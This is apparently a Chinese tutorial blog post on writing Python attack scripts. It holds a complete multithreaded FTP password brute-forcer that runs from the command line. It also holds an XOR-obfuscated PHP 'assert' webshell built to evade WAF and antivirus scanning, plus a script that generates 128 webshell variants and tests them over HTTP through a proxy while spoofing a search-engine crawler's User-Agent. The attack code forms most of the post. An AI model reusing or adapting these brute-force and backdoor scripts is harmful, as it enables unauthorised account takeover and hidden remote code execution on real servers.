python开发poc2,爆破脚本

#本课知识点和目的:

---协议模块使用,Request 爬虫技术,简易多线程技术,编码技术,Bypass 后门技术

下载ftp服务器模拟器

https://lcba.lanzouy.com/iAMePxl378h

随便创建一个账户,然后登录进去把ip改成和物理机以太网适配器一样的ip

设置好之后关闭,在打开,服务就自动开启了,才可以爆破他

可以正常登录

爆破代码明明木有问题。但是还是报错,这是因为,没有抓取错误,登录爆破失败的时候就开始报错

 

调试了,还能输出正确密码

增加线程

def ftp_bao():
    while not q.empty():
        zidian = q.get()#
        zidian = zidian.split('|')#以|分割成列表
        username = zidian[0]
        passwd = zidian[1]
        ftp = ftplib.FTP()  # 调用ftp登录
        ftp.connect('192.168.109.1', 21)#确定ip和端口
    # 登录的ip和端口
        try:
            ftp.login(username,passwd)#登陆的账号和密码
            print(username+'|'+passwd+'yes')
        except Exception as a:
            pass

if __name__ == '__main__':
    q = queue.Queue()#创建一个队列对象
    for usern in open('user.txt'): #循环遍历用户名
        for passfile in open('passwd.txt'):#在每一个用户名都遍历一遍字典
            usern=usern.strip()#去除干扰符合
            passfile=passfile.strip()
            q.put(usern+'|'+passfile)#读取到账户密码都存到一个字典里面.put是发送

for x in range(10):#创建十个线程
    t = threading.Thread(target=ftp_bao())#去执行target=ftp_bao()函数
    t.start()

这就是以十个线程去执行

以命令行模式运行

最终代码

import ftplib
import threading
import queue
import sys
#简单的模拟爆破
#爆破药品修改,ip,端口。用户名,密码

# while not q.empty():
def ftp_bao(ip,port):
    while not q.empty():
        zidian = q.get()#
        zidian = zidian.split('|')#以|分割成列表
        username = zidian[0]
        passwd = zidian[1]
        ftp = ftplib.FTP()  # 调用ftp登录
        ftp.connect(ip, port)#确定ip和端口
    # 登录的ip和端口
        try:
            ftp.login(username,passwd)#登陆的账号和密码
            print(username+'|'+passwd+'yes')
        except Exception as a:
            pass

if __name__ == '__main__':
    ip = sys.argv[1]
    port = sys.argv[2]
    username = sys.argv[3]
    passwd = sys.argv[4]
    xc = sys.argv[5]

    q = queue.Queue()#创建一个队列对象
    for usern in open(username): #循环遍历用户名
        for passfile in open(passwd):#在每一个用户名都遍历一遍字典
            usern=usern.strip()#去除干扰符合
            passfile=passfile.strip()
            q.put(usern+'|'+passfile)#读取到账户密码都存到一个字典里面.put是发送

    for x in range(int(xc)):#创建十个线程
        t = threading.Thread(target=ftp_bao(ip,int(port)))  # 去执行target=ftp_bao()函数
        t.start()



# ftp_bao()

---掌握利用强大的模块实现各种协议连接操作(爆破或利用等),配合 Fuzz 吊打 WAF 等 

异或就是把一个字符转换成ascii码值的二进制在,然后和另外同样方式转换的二进制,每一位都对上的如果两个对上的数相同就输出0,不同就输出1,结果就是两个数异或后的值,在转换为ascii码值之后在找到对应的字符,就是异或完最后的结果,这里刚好有一个比较凑巧的结果

("!"^"@")=a     感叹号和艾特异或后等于a

下面这个感觉思路不对,也用不到,就摘抄的别人的

---在PHP study的sqllab的靶场下(注意:PHP的字符串以.连接):

---命令执行函数:eval不能拆分,assert函数可以拆分

---<?php $a=("!"^"@").'ssert';$a($_POST[x]);?>


---尝试连接


---使用安全狗和河马进行病毒查杀(不得不说狗子是真的垃圾):

#原理:

---!的ascii对应十进制33,二进制:00100001

---@对应十进制64,二进制:01000000


---两个二进制异或为:01100001,对应十进制为:97

---十进制对应的ASCII符合为:a

#开发思路

---通过异或运算,分别批量替换a,s,s,e,r,t,进而构造命令执行函数

---1.for循环0-127(ascii范围为[0.127])2.在循环内将ascii值通过chr转换为字符串进行异或2.判断异或后的值是否==a,如果等于则成功3.扩大范围,对assert的6个字符串一起进行异或(我这里添加了一个判断异或后是否等于97即a)

---code="<?php $a="+'('+"'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"+')'+'.'+"'ssert'"+';$a($_POST[x]);?>'


---在test目录生成128个异或的后门文件


---用河马查杀试一下,这尼玛一个也没跑掉全被查出来了

---视频里面上传目录后请求感觉不现实


---如果按照视频里面的思路进行请求(原来post是这样传参的)


#完整代码

import requests

index=0
for i in range(0,128):
    for ii in range(0,128):
        if i^ii==97:
            index+=1
            code="<?php $a="+'('+"'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"+')'+'.'+"'ssert'"+';$a($_POST[x]);?>'
            name=str(i)+'xd'+str(ii)+'.php'
            name='D:/test/'+name
            with open(name,'a+',encoding='utf-8') as f:
                f.write(code)
                f.close()
            print('生成了'+str(index)+"个文件")
            # 如果要进行请求的话
            header = {
                'User-Agent': 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'}
            proxy = {'http': '101.200.127.149:3129'}
            data = {'x': 'phpinfo();'}
            try:
                url='http://127.0.0.1:8888/x/'+str(i)+'xd'+str(ii)+'.php'
                result=requests.post(url=url,data=data,headers=header,proxies=proxy,timeout=0.1).content.decode('utf-8')
                if 'System' in result:
                    print(name+'is ok')
            except Exception as e:
                pass 作者:沙漠里的鲸 https://www.bilibili.com/read/cv18093347/ 出处:bilibili

ping

an

相关推荐

  1. 利用python编写简易POC脚本

    2024-04-08 12:22:04       37 阅读
  2. Python 自动化脚本系列:第2

    2024-04-08 12:22:04       13 阅读
  3. pod 库发布脚本

    2024-04-08 12:22:04       14 阅读
  4. python脚本

    2024-04-08 12:22:04       20 阅读

最近更新

  1. Jupyter Notebook详尽安装教程

    2024-04-08 12:22:04       0 阅读
  2. 实现淘客返利系统中的用户登录与权限管理

    2024-04-08 12:22:04       0 阅读
  3. 【力扣】每日一题—第70题,爬楼梯

    2024-04-08 12:22:04       1 阅读
  4. mysql快速精通(一)DQL数据查询语言

    2024-04-08 12:22:04       1 阅读
  5. 408第二轮复习 数据结构 第七章查找

    2024-04-08 12:22:04       1 阅读
  6. Python中的迭代器与可迭代对象的概念及其关系

    2024-04-08 12:22:04       1 阅读
  7. 大数据面试题之Greenplum(2)

    2024-04-08 12:22:04       1 阅读

热门阅读

  1. opencv如何寻找图片轮廓

    2024-04-08 12:22:04       15 阅读
  2. AI技术创业机会之教育科技

    2024-04-08 12:22:04       17 阅读
  3. 1分钟带你了解代付业务|代付业务简介

    2024-04-08 12:22:04       15 阅读
  4. 手持式电吹风上架亚马逊审核要求

    2024-04-08 12:22:04       11 阅读
  5. computed 思想实现

    2024-04-08 12:22:04       11 阅读